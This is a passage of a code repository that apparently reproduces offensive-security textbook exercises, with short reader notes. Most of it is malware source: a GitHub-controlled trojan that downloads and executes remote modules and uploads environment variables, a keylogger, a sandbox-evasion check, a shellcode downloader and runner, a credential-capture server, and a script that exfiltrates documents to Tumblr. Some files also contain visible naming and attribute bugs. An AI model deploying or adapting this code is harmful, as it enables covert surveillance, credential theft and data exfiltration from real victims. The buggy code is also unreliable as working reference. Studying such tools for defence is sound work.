json_body.split("\r\n\r\n", 1)[1] 79 | 80 | try: 81 | r = json.loads(json_body) 82 | if len(r["d"]["results"]): 83 | for site in r["d"]["results"]: 84 | print("*" * 100) 85 | print(site['Title']) 86 | print(site['Url']) 87 | print(site['Description']) 88 | print("*" * 100) 89 | j_url = URL(site['Url']) 90 | if not self._callbacks.isInScope(j_url): 91 | print("Adding to Burp scope") 92 | self._callbacks.includeInScope(j_url) 93 | except: 94 | print("No results from Bing") 95 | 96 | return -------------------------------------------------------------------------------- /Chapter 6/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | from burp import IBurpExtender 4 | from burp import IIintruderPayloadGeneratorFactory 5 | from burp import IIntruderPayloadGenerator 6 | from java.util import List, ArrayList 7 | 8 | 9 | class BurpExtender(IBurpExtender, IIintruderPayloadGeneratorFactory): 10 | def registerExtenderCallbacks(self, callbacks): 11 | self._callbacks = callbacks 12 | self._helpers = callbacks.getHelpers() 13 | callbacks.registerIntruderPayloadGeneratorFactory(self) 14 | return 15 | 16 | @staticmethod 17 | def getGeneratorName(): 18 | return "BHP Payload Generator" 19 | 20 | def createNewInstance(self, attack): 21 | return BHPFuzzer(self, attack) 22 | 23 | class BHPFuzzer(IIntruderPayloadGenerator): 24 | def __init__(self, extender, attack): 25 | self._extender = extender 26 | self._helpers = extender._helpers 27 | self._attack = attack 28 | print("BHP Fuzzer initialized") 29 | self.max_payloads = 500 # book's data is 1000 here 30 | self.num_payloads = 0 31 | 32 | return 33 | 34 | def hasMorePayloads(self): 35 | print("hasMorePayloads called") 36 | if self.num_payloads == self.max_payloads: 37 | print("No more payloads") 38 | return False 39 | else: 40 | print("More payloads, continuing") 41 | return True 42 | 43 | def getNextPayload(self, current_payload): 44 | 45 | # convert the payload into a string 46 | payload = "".join(chr(x) for x in current_payload) 47 | 48 | # call our mutator to fuzz the post and increase the num of attempts 49 | payload = self.mutate_payload(payload) 50 | self.num_payloads += 1 51 | return payload 52 | 53 | def reset(self): 54 | self.num_payloads = 0 55 | return 56 | 57 | @staticmethod 58 | def mutatePayload(original_payload): 59 | picker = random.randint(1, 3) 60 | 61 | # select a random offset in the payload to mutate 62 | offset = random.randint(0, len(original_payload) - 1) 63 | payload = original_payload[:offset] 64 | 65 | # random offset insert a SQL injection attempt 66 | if picker == 1: 67 | payload += "'" 68 | 69 | # jam an XSS attempt in 70 | if picker == 2: 71 | payload += "" 72 | 73 | # repeat a chunk of the original payload a random number 74 | if picker == 3: 75 | chunk_length = random.randint(len(payload[offset:]), len(payload) - 1) 76 | repeater = random.randint(1, 10) 77 | for i in range(repeater): 78 | payload += original_payload[offset:offset + chunk_length] 79 | 80 | # add the remaining bits of the payload 81 | payload += original_payload[offset:] 82 | return payload 83 | -------------------------------------------------------------------------------- /Chapter 6/bhp_wordlist.py: -------------------------------------------------------------------------------- 1 | import re 2 | from datetime import datetime 3 | from html.parser import HTMLParser 4 | 5 | from burp import IBurpExtender 6 | from burp import IContextMenuFactory 7 | from javax.swing import JMenuItem 8 | from java.util import List, ArrayList 9 | from java.net import URL 10 | 11 | 12 | class TagStripper(HTMLParser): 13 | def __init__(self): 14 | HTMLParser.__init__(self) 15 | self.page_text = [] 16 | 17 | def handleData(self, data): 18 | self.page_text.append(data) 19 | 20 | def handleComment(self, data): 21 | self.handle_data(data) 22 | 23 | def strup(self, html): 24 | self.feed(html) 25 | return " ".join(self.page_text) 26 | 27 | class BurpExtender(IBurpExtender, IContextMenuFactory): 28 | def registerExtenderCallbacks(self, callbacks): 29 | self._callbacks = callbacks 30 | self._helpers = callbacks.getHelpers() 31 | self.context = None 32 | self.hosts = set() 33 | 34 | # start with a common one 35 | self.wordlist = {"password"} 36 | 37 | callbacks.setExtensionName("BHP Wordlist") 38 | callbacks.registerContextMenuFactory(self) 39 | return 40 | 41 | def createMenuItems(self, context_menu): 42 | self.context = context_menu 43 | menu_list = ArrayList() 44 | menu_list.add(JMenuItem("Create Wordlist", actionPerformed=self.wordlist_menu)) 45 | return menu_list 46 | 47 | def wordlistMenu(self, event): 48 | # grab the details of what the user clicked 49 | http_traffic = self.context.getSelectedMessages() 50 | 51 | for traffic in http_traffic: 52 | http_service = traffic.getHttpService() 53 | host = http_service.getHost() 54 | self.host.add(host) 55 | http_response = traffic.getResponse() 56 | if http_response: 57 | self.get_words(http_response) 58 | self.display_wordlist() 59 | return 60 | 61 | def getWords(self, http_response): 62 | headers, body = http_response.tostring().split("\r\n\r\n", 1) 63 | 64 | # skip non-text responses 65 | if headers.lower().find("context-type: text") == -1: 66 | return 67 | 68 | tag_stripper = TagStripper() 69 | page_text = tag_stripper.strip(body) 70 | words = re.findall(r'[a-zA-Z]\w{2,}', page_text) 71 | 72 | for word in words: 73 | # filter out long strings 74 | if len(word) <= 12: 75 | self.wordlist.add(word.lower()) 76 | return 77 | 78 | @staticmethod 79 | def mangle(word): 80 | year = datetime.now().year 81 | suffixes = ['', '1', '!', year] 82 | mangled = [] 83 | for password in (word, word.capitalize()): 84 | for suffix in suffixes: 85 | mangled.append(f"{password}, {suffix}") 86 | return mangled 87 | 88 | 89 | def display_wordlist(self): 90 | print(f'# BHP Wordlist for site(s) {", ".join(self.hosts)}') 91 | for word in sorted(self.wordlist): 92 | for password in self.mangle(word): 93 | print(password) 94 | return 95 | -------------------------------------------------------------------------------- /Chapter 7/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the readers 2 | 3 | This chapter is about a trojan interacting with our Github repo for updates.
4 | 5 | Since this book is about pentesting and security, I would be sure your GitHub account should have a 2FA. In that case you need to create a personal access token. It's not hard and you could follow along the instructions from GitHub itself https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token. 6 | 7 | The book suggest to create a folder structure within a test repository. I created this as well in this section, following along book instructions.
8 | 9 | - `config` directory holds configuration files that will be identified for each trojan. 10 | - `modules` directory contains any modular code that you want the trojan to pickup and execute. 11 | - `data` will holds keystrokes, screenshots, and any retrieved materials from the trojan (or that you'd like to feed the trojan). 12 | 13 | Usual amount of optimization and cleaning was needed. The author seems to rush along every chapter leaving a lot of gaps here and there.
14 | 15 | For this chapter in particular I had a confrontation with EON repo to double check I got to a reasonable\correct routine.
16 | 17 | This chapter is also dedicated to show some git commands run from shell; this part has not been reproduced (obviously) here.
18 | 19 | The `imp` library the author is using is officially deprecated. You can go with `importlib` or even `types`.
20 | Check `imp` docs here https://docs.python.org/3/library/importlib.html#importlib.util.module_from_spec.
21 | Also: https://docs.python.org/3/library/imp.html 22 | 23 | The Github wrapper could be found here https://github.com/copitux/python-github3 24 | -------------------------------------------------------------------------------- /Chapter 7/config/abc.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "module": "dirlister" 4 | }, 5 | { 6 | "module": "environment" 7 | } 8 | ] -------------------------------------------------------------------------------- /Chapter 7/data/sample.txt: -------------------------------------------------------------------------------- 1 | hello_world -------------------------------------------------------------------------------- /Chapter 7/git_trojan.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | import sys 4 | import time 5 | import importlib 6 | import random 7 | import threading 8 | import queue 9 | 10 | from github3 import login 11 | 12 | trojan_id = "abc" 13 | trojan_config = "config/{}.json".format(trojan_id) 14 | data_path = "data/{}/".format(trojan_id) 15 | trojan_modules = [] 16 | configured = False 17 | task_queue = queue.Queue() 18 | 19 | class GitImporter(object): 20 | def __init__(self): 21 | self.current_module_code = "" 22 | 23 | def find_module(self, fullname, path=None): 24 | if configured: 25 | print(f"[*] Attempting to retrieve {fullname}") 26 | new_library = get_file_contents(f"modules/{fullname}") 27 | if new_library: 28 | self.current_module_code = base64.b64decode(new_library) 29 | return self 30 | return None 31 | 32 | def load_module(self, name): 33 | module = importlib.util.module_from_spec(name) 34 | exec(self.current_module_code, module.__dict__) 35 | sys.modules[name] = module 36 | return module 37 | 38 | def connect_to_github(): 39 | gh = login(username="your username", password="your password") # 2FA accounts: replace password= with token="your token" 40 | repo = gh.repository("your username", "repository name") 41 | branch = repo.branc("master") 42 | return gh, repo, branch 43 | 44 | def get_file_contents(filepath): 45 | gh, repo, branch = connect_to_github() 46 | tree = branch.commit.commit.tree.to_tree().recurse() 47 | for filename in tree.tree: 48 | if filepath in filename.path: 49 | print(f"[*] Found file {filepath}") 50 | blob = repo.blob(filename._json_data["sha"]) 51 | return blob.content 52 | return None 53 | 54 | def get_trojan_config(): 55 | global configured 56 | config_json = get_file_contents(trojan_config) 57 | configuration = json.loads(base64.b64decode(config_json)) 58 | configured = True 59 | 60 | for tasks in configuration: 61 | if tasks["module"] not in sys.modules: 62 | exec(f"import {tasks['module']}") 63 | 64 | return configuration 65 | 66 | def store_module_result(data): 67 | gh, repo, branch = connect_to_github() 68 | remote_path = f"data/{trojan_id}/{random.randint(1000, 100000).data}" 69 | repo.create_file(remote_path, "Commit message", data.encode()) 70 | return 71 | 72 | def module_runner(module): 73 | task_queue.put(1) 74 | result = sys.modules[module].run() 75 | task_queue.get() 76 | 77 | store_module_result(result) 78 | return 79 | 80 | # main loop 81 | sys.meta_path = [GitImporter()] 82 | 83 | while True: 84 | if task_queue.empty(): 85 | config = get_trojan_config() 86 | for task in config: 87 | t = threading.Thread(target=module_runner, args=(task['module'],)) 88 | t.start() 89 | time.sleep(random.randint(1,10)) 90 | time.sleep(random.randint(1000, 10000)) 91 | -------------------------------------------------------------------------------- /Chapter 7/modules/dirlister.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(): 4 | print("[*] In dirlister module.") 5 | files = os.listdir(".") 6 | 7 | return str(files) 8 | -------------------------------------------------------------------------------- /Chapter 7/modules/environment.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def run(): 4 | print("[*] In environment module.") 5 | return str(os.environ) 6 | -------------------------------------------------------------------------------- /Chapter 8/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the reader 2 | 3 | #### keylogger.py 4 | This script requires `pyHook` library, that is not compatible with newer versions of Python. 5 | 6 | Check for details (and, in the case, updated answers on Stack Overflow - pyHook issues.)
7 | 8 | You have two ways ahead: 9 | - Search for a wheel file appropriate for the Python version you are running here https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook 10 | - Use pyWinhook, a pyHook fork with some updates for support latest Visual Studio compilers.
11 | Two methods here:
12 | ____ a) `pip install pyWinhook==1.6.2`
13 | ____ b) `python -m pip install pyWinhook-1.6.2-cp38-cp38-win_amd64.whl`

14 | 15 | I would like to switch to `keyboard` module in order to bypass all this mess, but at the moment I am not able to reproduce the exact workflow offered by the book without going thru pyHook.

16 | 17 | ps. if the topic is of your interest, check my keylogger for Power Shell here: https://gist.github.com/carloocchiena/316234e45f67ca63f07620e15e7dfaef 18 | 19 | #### shell_exec.py 20 | Be carefull to base64 encode your raw shellcode script before hosting it on localhost
21 | Store the raw shellcode in /tmp/shellcode.raw
22 | then run (on your linux shell):
23 | `user$ base64 -i shellcode.raw >`
24 | `shellcode.bin`
25 | `user$ python -m http.server 8000`
26 | 27 | #### screenshotter.py 28 | - the win32 import issues solved thanks to this answer: https://stackoverflow.com/questions/44063350/python-no-module-named-win32gui-after-installing-pywin32?rq=1 29 | 30 | -------------------------------------------------------------------------------- /Chapter 8/keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import * 2 | import pythoncom 3 | import pyHook 4 | import win32clipboard 5 | 6 | # alternative if you have issues with pyHook on Win10: 7 | # import pyWinhook as pyHook 8 | 9 | user32 = windll.user32 10 | kernel32 = windll.kernel32 11 | psapi = windll.psapi 12 | current_window = None 13 | 14 | def get_current_process(): 15 | # get a handle to the foreground window 16 | hwnd = user32.GetForegroundWindow() 17 | 18 | # find the process ID and store it 19 | pid = c_ulong(0) 20 | user32.GetWindowThreadProcessId(hwnd, byref(pid)) 21 | process_id = f"{pid.value}" 22 | 23 | # grab the executable 24 | executable = create_string_buffer(b"\x00" * 512) 25 | h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) 26 | psapi.GetModuleBaseName(h_process, None, byref(executable), 512) 27 | 28 | # read the title 29 | window_title = create_string_buffer(b"\x00" * 512) 30 | length = user32.GetWindowTextA(hwnd, byref(window_title), 512) 31 | 32 | # print the header if we're in the right process 33 | print() 34 | print(f"[ PID: {process_id} - {executable.value} - {window_title.value}]") 35 | print() 36 | 37 | # close handles 38 | kernel32.CloseHandle(hwnd) 39 | kernel32.CloseHandle(h_process) 40 | 41 | def key_stroke(event): 42 | global current_window 43 | 44 | # check if target changed windows 45 | if event.WindowName != current_window: 46 | current_window = event.WindowName 47 | get_current_process() 48 | 49 | # if they pressed a standard key 50 | if 32 < event.Ascii < 127: 51 | print(chr(event.Ascii), end=" ") 52 | else: 53 | # if [Ctrl-V] get the value on the clipboard 54 | if event.Key == "V": 55 | win32clipboard.OpenClipboard() 56 | pasted_value = win32clipboard.GetClipboardData() 57 | win32clipboard.CloseClipboard() 58 | print(f"[PASTE] - {pasted_value}", end=" ") 59 | else: 60 | print(f"{event.Key}", end=" ") 61 | 62 | # pass execution to next hook registered 63 | return True 64 | 65 | # create and register a hook manager 66 | kl = pyHook.HookManager() 67 | kl.KeyDown = KeyStroke 68 | 69 | # register the hook and execute forever 70 | kl.HookKeyboard() 71 | pythoncom.PumpMessages() 72 | 73 | -------------------------------------------------------------------------------- /Chapter 8/sandbox_detector.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import random 3 | import time 4 | import sys 5 | 6 | user32 = ctypes.windll.user32 7 | kernel32 = ctypes.windll.kernel32 8 | 9 | keystrokes = 0 10 | mouse_clicks = 0 11 | double_clicks = 0 12 | 13 | class LastInputInfo(ctypes.Structure): 14 | _fields_ = [("cbSize", ctypes.c_uint), ("dwTime", ctypes.c_ulong)] 15 | 16 | def get_last_input(): 17 | struct_lastinputinfo = LastInputInfo() 18 | struct_lastinputinfo.cbSize = ctypes.sizeof(LastInputInfo) 19 | 20 | # get last input registered 21 | user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo)) 22 | 23 | # now determine how long the machine has been running 24 | run_time = kernel32.GetTickCount() 25 | elapsed = run_time - struct_lastinputinfo.dwTime 26 | print(f"[*] It's been {elapsed} milliseconds since the last input event") 27 | return elapsed 28 | 29 | def get_key_press(): 30 | global mouse_clicks 31 | global keystrokes 32 | 33 | for code in range(0, 0xff): 34 | if user32.GetAsyncKeyState(code) == -32767: 35 | # 0x1 is the code for left mouse click 36 | if code == 1: 37 | mouse_clicks += 1 38 | return time.time() 39 | else: 40 | keystrokes += 1 41 | return None 42 | 43 | def detect_sandbox(): 44 | global mouse_clicks 45 | global keystrokes 46 | 47 | max_keystrokes = random.randint(10, 25) 48 | max_mouse_clicks = random.randint(5, 25) 49 | 50 | double_clicks = 0 51 | max_double_clicks = 10 52 | double_clicks_threshold = 0.250 53 | first_double_click = None 54 | 55 | average_mousetime = 0 # this var is never used in the book even if defined 56 | max_input_threshold = 30000 57 | 58 | previous_timestamp = None 59 | detection_complete = False 60 | 61 | last_input = get_last_input() 62 | 63 | # exit if we hit our threshold 64 | if last_input >= max_input_threshold: 65 | sys.exit() 66 | 67 | while not detection_complete: 68 | keypress_time = get_key_press() 69 | if keypress_time is not None and previous_timestamp is not None: 70 | 71 | # calculate the time between double clicks 72 | elapsed = keypress_time - previous_timestamp 73 | 74 | # the user dobule clicked 75 | if elapsed <= double_clicks_threshold: 76 | double_clicks += 1 77 | 78 | if first_double_click is None: 79 | # grab timestamp of the first double click 80 | first_double_click = time.time() 81 | else: 82 | # did they want to emulate a rapid succession of clicks? 83 | if double_clicks == max_double_clicks: 84 | if keypress_time - first_double_click <= ( 85 | max_double_clicks * double_clicks_threshold): 86 | sys.exit() 87 | 88 | # we are happy there's enough user input 89 | if keystrokes >= max_keystrokes \ 90 | and double_clicks >= max_double_clicks \ 91 | and mouse_clicks >= max_mouse_clicks: 92 | return 93 | previous_timestamp = keypress_time 94 | 95 | elif keypress_time is not None: 96 | previous_timestamp = keypress_time 97 | 98 | detect_sandbox() 99 | print("We are ok!") 100 | -------------------------------------------------------------------------------- /Chapter 8/screenshotter.py: -------------------------------------------------------------------------------- 1 | from win32 import win32gui 2 | import win32ui 3 | import win32con 4 | import win32api 5 | 6 | # grab a handle to the main desktop window 7 | hdesktop = win32gui.GetDesktopWindow() 8 | 9 | # determine the size of all monitors in pixels: 10 | width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) 11 | height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) 12 | left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) 13 | top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) 14 | 15 | # create a device context 16 | desktop_dc = win32gui.GetWindowDC(hdesktop) 17 | img_dc = win32ui.CreateDCFromHandle(desktop_dc) 18 | 19 | # create a memory based device context 20 | mem_dc = img_dc.CreateCompatibleDC() 21 | 22 | # create a bitmat object 23 | screenshot = win32ui.CreateBitmap() 24 | screenshot.CreateCompatibleBitmap(img_dc, width, height) 25 | mem_dc.SelectObject(screenshot) 26 | 27 | # copy the screen into our memory device context 28 | mem_dc.BitBlt((0,0), (width, height), img_dc, (left, top), win32con.SRCCOPY) 29 | 30 | # save the bitmap to a file 31 | screenshot.SaveBitmapFile(mem_dc, "c:\\WINDOWS\\Temp\\screenshot.bmp") 32 | 33 | # free our objects 34 | mem_dc.DeleteDC() 35 | win32gui.DeleteObject(screenshot.GetHandle()) 36 | -------------------------------------------------------------------------------- /Chapter 8/shell_exec.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import ctypes 3 | import urllib.request 4 | 5 | # retrieve the shellcode from our webserver 6 | url = "http://localhost:8000/shellcode.bin" 7 | response = urllib.request.urlopen(url) 8 | 9 | # decode the shellcode from base64 10 | shellcode = base64.b64decode(response.read()) 11 | 12 | # create a buffer in memory 13 | shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) 14 | 15 | # create a pointer 16 | shellcode_func = ctypes.cast(shellcode_buffer, 17 | ctypes.CFUNCTYPE(ctypes.c_void_p)) 18 | 19 | # call our shellcode 20 | shellcode_func() 21 | -------------------------------------------------------------------------------- /Chapter 9/README.md: -------------------------------------------------------------------------------- 1 | ### Notes for the reader 2 | 3 | - The cryptography library used in the book (`pycrypto`) is deprecated. I used `pycryptodome` instead (further readings: https://blog.sqreen.com/stop-using-pycrypto-use-pycryptodome/) 4 | 5 | - `mitb.py` stands for "Man-in-the-Browser" :) and yes, the book built it for Internet Explorer.
Since it doesn't make sense to me to invest time to reproduce a test case on IE, I left out the testing of this part, evaluating only the correctness of the code by debugging runs in my IDE. 6 | 7 | - `ie_exfil` had some issues related to the handling of the plaintext variable. While I am not still able to have a full working routine between all the files created for this chapter, and some tuning is still in progress, I found this commit to be very useful. The login to Tumblr is not working at the moment, however I am skipping testing this part since digging around Tumblr DOM seems to be quite out of scope at least in the contingency. Depending on your running env, tweak conveniently the main loop at the end of the script. Probably you don't really want it to scan your whole hard disk searching for docs. 8 | 9 | - `cred_server.py` requires manual approval by firewall on Win10, so it is currently of little use. 10 | 11 | - As a personal opinion, this section of the book seems outdated already for the publication date of the book. 12 | 13 | -------------------------------------------------------------------------------- /Chapter 9/cred_server.py: -------------------------------------------------------------------------------- 1 | import http.server 2 | import socketserver 3 | import urllib.error 4 | import urllib.parse 5 | import urllib.request 6 | 7 | class CredRequestHandler(http.server.SimpleHTTPRequestHandler): 8 | def do_POST(self): 9 | content_length = int(self.headers["Content-Length"]) 10 | creds = self.rfile.read(content_length).decode('utf-8') 11 | print(creds) 12 | site = self.path[1:] 13 | self.send_response(301) 14 | self.send_header("Location", urllib.parse.unquote(site)) 15 | self.end_headers() 16 | 17 | server = socketserver.TCPServer(("0.0.0.0", 8080), CredRequestHandler) 18 | server.serve_forever() 19 | -------------------------------------------------------------------------------- /Chapter 9/decryptor.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import base64 3 | from Crypto.PublicKey import RSA 4 | from Crypto.Cipher import PKCS1_OAEP 5 | 6 | # paste here the encrypted code you got from ie_exfil.py (and that should have been posted to Tumblr as well) 7 | encrypted = b'jyBM2jcAyS7asGBjoZGYl/YlutS1HBs3s/JPFMPtTa5UOjseCdC9loraG5CkK43z90qSr+Jcp+4xtAl1bhBcZgEUifO82m/4+6z6cfd7X9DEHjwiAorb51rQ2+iOwrwwgcmEqXK/enTJ1DPdD8O/f8UB0z1Cvl2LEwrmZe0RTdCR8UILZhy39BWLPVFm7Chgg96Yp2rYQgpU8ObtwChDlst58B1oltZKn8LVbkapy5MO6214R0HlOHhJglbK3Ok+sINqdDAQRdZ9rOIbe1hVthJmqneZyR2PdTbtmTir3Q+3SkskYuayFwL7dTW1VJEfKBrbaYQU14A1rECrkFAxXQ==' 8 | 9 | # private key is from keygen.py 10 | private_key = b"""-----BEGIN RSA PRIVATE KEY----- 11 | MIIEowIBAAKCAQEAuO+ZrmxOCIYrdmbS3io0MQ3dL3/r5AVZdXr5RfwnVXoGvoX7 12 | ABhJjovpIJvAR19U8PuADbE+WpjCZsP0yH//Bzi5zcn1dgkIpqHcD7UUb9x8k9Lh 13 | MyD6neqwXe6VmxdJXl9NWYTmzQDdOLw4ms0B9yYLKtWURAwP4Yo+0ZmOdCkBBKBL 14 | yv1G6ndw8oeeTBNsPa6QsrNZPfL3r6CkkBh9eb1jnlUt6I+2qjqsX+N5ccHEPMXY 15 | FSMJVXiZecELlwILLxMU++R/717wzxYc1h66AStJTXvL6LiTOvtTCUPyJk2S9EVj 16 | HfCjBLYR1Rq0rnouxafllr98u/U+ZOQQ4luVDQIDAQABAoIBADDdWlGMm3fEH9LK 17 | q3f5Vc4KWEG3PriCs1cH1bqovCnpMsP/uckWIcVw8XnkvYL+TP7ZrUWw6gVdLKyj 18 | pVee/l9FnU6jSODV1TvWM8PQuGQwMZiLlWaBlcbJHq3LHyuaFRBDBTiclbFgQ5O8 19 | pAY/GgBYRIYeZe0u9LlG4n9WYB4PzdlLrnPAg4d+1gdiXClR0irlBNz9gOQGHjb7 20 | w8pbOLDNKrnii6tSm4tXWTLE0VGIRu9ex/C/tFuFbOXr6IJw05w1ylfLCO0dDBZC 21 | 0ArqSVrlV4hfwUHvmowyysgxQYlsL+r1+RmdxX3feVrGUWwWbmm8eaufg3lpl5Gl 22 | qSw0Yy8CgYEAwpJj9a3GqFuhb/xWQi2otnU3zEss3FEN8eS01+BajESg/DwpfkvY 23 | sci8kQqUqKCltKOMXuWknhWs3T9GjQDhZ9fPyhut/U8mIPdHMlux3uCAmZxbdHh3 24 | +cRF6gUBBKm79dogaJFszRwfwIFzvYfvQYGK6R+GOs+UKawI0ZIv+7sCgYEA81Jr 25 | xA+GNcWRGNsppGK/MOt2GR8h0EKSoVJn1G5pwaIvtfcB/tbgeWX/3n89xNgnD3ab 26 | BK7aL73uwFr1/X2xUR8UTVQj5uDqUMI7rJ7Ngc9TFG50mybiKYKxbwimz0JH/INi 27 | DmMbqVOVeqLFe7WAjHm2eIVPSJtMMwwOGR8rUdcCgYBzGENW/a+IwYMyijLAPOAS 28 | 5i3WhBWKUcwM7bvoAwes95++9RuaYOVS7SpWJcsgIL9EpoYPUIpbFPlHevmRyRaM 29 | 5cU9ibgXIm2sjHmqGUGTVHvd4fbbY7OcpHSy5LjgeEL+QERxdqzEe8Fwj2LWl4V4 30 | 21c/ZW1ydn3vVJt21KHbpwKBgQDxdzCkz7cjc52LaisIDEqp9HEtevymXPqAh3Os 31 | l6nx086/KJJdYMZBExz5o5Ib31nb+Zra6d5ylGzzjREi73JhC5OtLbu3Kiq93BM2 32 | Oh29HY7X7slfExZLlXwZsR9A/QjNKWDM4EOaJO1pV1DddIBOZ5bSQZEtf5f97I+t 33 | FIZ73wKBgEcWcS/ZFDct/LDTYpjS2AER8r20buDewRlUXF4R5xrQRQGRugj5vpUg 34 | PL93p45a6J5mxq6Ove73aXeDW9q+SxShKfC01agFYWoZybEawqeinM1SecLxMIKO 35 | mjn+BsAxbuxAvsbLXqErzulOmy4Oql8ewWvJmIv6u03+7/Xrv1Hk 36 | -----END RSA PRIVATE KEY-----""" 37 | 38 | rsakey = RSA.importKey(private_key) 39 | rsakey = PKCS1_OAEP.new(rsakey) 40 | 41 | chunk_size = 256 42 | offset = 0 43 | decrypted = "" 44 | encrypted = base64.b64decode(encrypted) 45 | 46 | while offset < len(encrypted): 47 | decrypted += str(rsakey.decrypt(encrypted[offset:offset + chunk_size])) 48 | offset += chunk_size 49 | 50 | # now decompress to original 51 | plaintext = zlib.decompress(decrypted) 52 | 53 | print(plaintext) -------------------------------------------------------------------------------- /Chapter 9/ie_exfil.py: -------------------------------------------------------------------------------- 1 | import win32com.client 2 | import os 3 | import fnmatch 4 | import time 5 | import random 6 | import zlib 7 | import base64 8 | 9 | from Crypto.PublicKey import RSA 10 | from Crypto.Cipher import PKCS1_OAEP 11 | 12 | doc_type = ".doc" # this is not taking into account new words extensions such as .docx 13 | 14 | # these should be your tumblr login 15 | username = "admin@test.com" 16 | password = "admin" 17 | 18 | public_key = """-----BEGIN PUBLIC KEY----- 19 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyXUTgFoL/2EPKoN31l5T 20 | lak7VxhdusNCWQKDfcN5Jj45GQ1oZZjsECQ8jK5AaQuCWdmEQkgCEV23L2y71G+T 21 | h/zlVPjp0hgC6nOKOuwmlQ1jGvfVvaNZ0YXrs+sX/wg5FT/bTS4yzXeW6920tdls 22 | 2N7Pu5N1FLRW5PMhk6GW5rzVhwdDvnfaUoSVj7oKaIMLbN/TENvnwhZZKlTZeK79 23 | ix4qXwYLe66CrgCHDf4oBJ/nO1oYwelxuIXVPhIZnVpkbz3IL6BfEZ3ZDKzGeRs6 24 | YLZuR2u5KUbr9uabEzgtrLyOeoK8UscKmzOvtwxZDcgNijqMJKuqpNZczPHmf9cS 25 | 1wIDAQAV 26 | -----END PUBLIC KEY-----""" 27 | 28 | def wait_for_browser(browser): 29 | # wait for the browser to finish loading a page 30 | while browser.ReadyState != 4 and browser.ReadyState != "complete": 31 | time.sleep(0.1) 32 | return 33 | 34 | def encrypt_string(plaintext): 35 | chunk_size = 208 36 | if isinstance(plaintext, (str)): 37 | plaintext = plaintext.encode() 38 | print(f"Compressing: {len(plaintext)} bytes") 39 | plaintext = zlib.compress(plaintext) 40 | print(f"Encrypting: {len(plaintext)} bytes") 41 | 42 | rsakey = RSA.importKey(public_key) 43 | rsakey = PKCS1_OAEP.new(rsakey) 44 | encrypted = b"" 45 | offset = 0 46 | 47 | while offset < len(plaintext): 48 | chunk = plaintext[offset:offset + chunk_size] 49 | if len(chunk) % chunk_size != 0: 50 | chunk += b" " * (chunk_size - len(chunk)) 51 | encrypted += rsakey.encrypt(chunk) 52 | offset += chunk_size 53 | 54 | encrypted = base64.b64encode(encrypted) 55 | print(f"Base64 encoded crypto:{len(encrypted)}") 56 | return encrypted 57 | 58 | def encrypt_post(filename): 59 | with open (filename, "rb") as fd: 60 | contents = fd.read() 61 | 62 | encrypted_title = encrypt_string(filename) 63 | encrypted_body = encrypt_string(contents) 64 | 65 | return encrypted_title, encrypted_body 66 | 67 | def random_sleep(): 68 | time.sleep(random.randint(5, 10)) 69 | return 70 | 71 | def login_to_tumblr(ie): 72 | full_doc = ie.Document.all 73 | 74 | # iterate looking for the logout form 75 | for field in full_doc: 76 | if field.name == "email": 77 | field.setAttribute("value", username) 78 | elif field.name == "password": 79 | field.setAttribute("value", password) 80 | 81 | random_sleep() 82 | 83 | # you can be presented with different homepages 84 | try: 85 | if ie.Document.forms[0].id == "signup_form": 86 | ie.Document.forms[0].submit() 87 | else: 88 | ie.Document.forms[1].submit() 89 | except IndexError: 90 | pass 91 | 92 | random_sleep() 93 | 94 | wait_for_browser(ie) 95 | return 96 | 97 | def post_to_tumblr(ie, title, post): 98 | full_doc = ie.Document.all 99 | 100 | for field in full_doc: 101 | if field.id == "post_one": 102 | field.setAttribute("value", title) 103 | title_box = field 104 | field.focus() 105 | elif field.id == "post_two": 106 | field.setAttribute("innerHTML", post) 107 | print("Set text area") 108 | field.focus() 109 | elif field.id == "create_post": 110 | print("Found post button") 111 | post.form = field 112 | field.focus() 113 | 114 | # move focus away from the main content box 115 | random_sleep() 116 | title_box.focus() 117 | random_sleep() 118 | 119 | # post the form 120 | post.form.children[0].click() 121 | wait_for_browser(ie) 122 | 123 | random_sleep() 124 | return 125 | 126 | def exfiltrate(document_path): 127 | ie = win32com.client.Dispatch("InternetExplorer.Application") 128 | ie.Visible = 1 # set to 0 for stealth mode 129 | 130 | # head to tumblr 131 | ie.Navigate("https://www.tumblr.com/login") 132 | wait_for_browser(ie) 133 | 134 | # encrypt the file 135 | title, body = encrypt_post(document_path) 136 | 137 | print("Creating new post...") 138 | post_to_tumblr(ie, title, body) 139 | print("Posted!") 140 | 141 | # Kill the IE instance 142 | ie.Quit() 143 | ie = None 144 | 145 | return 146 | 147 | # main loop for doc discovery 148 | # the book here use "for parent, directories, filenames in os.walk("C:\\"):" 149 | for parent, directories, filenames in os.walk("C:\\Users\\user\\Downloads\\test"): 150 | for filename in fnmatch.filter(filenames, f"*{doc_type}"): 151 | document_path = os.path.join(parent, filename) 152 | print(f"Found: {document_path}") 153 | exfiltrate(document_path) 154 | input("Continue?") 155 | -------------------------------------------------------------------------------- /Chapter 9/keygen.py: -------------------------------------------------------------------------------- 1 | from Crypto.PublicKey import RSA 2 | 3 | new_key = RSA.generate(2048) 4 | 5 | public_key = new_key.public_key().exportKey("PEM") 6 | private_key = new_key.exportKey("PEM") 7 | 8 | print(f"Public Key: {public_key}") 9 | print() 10 | print(f"Private Key: {private_key}") 11 | -------------------------------------------------------------------------------- /Chapter 9/mitb.py: 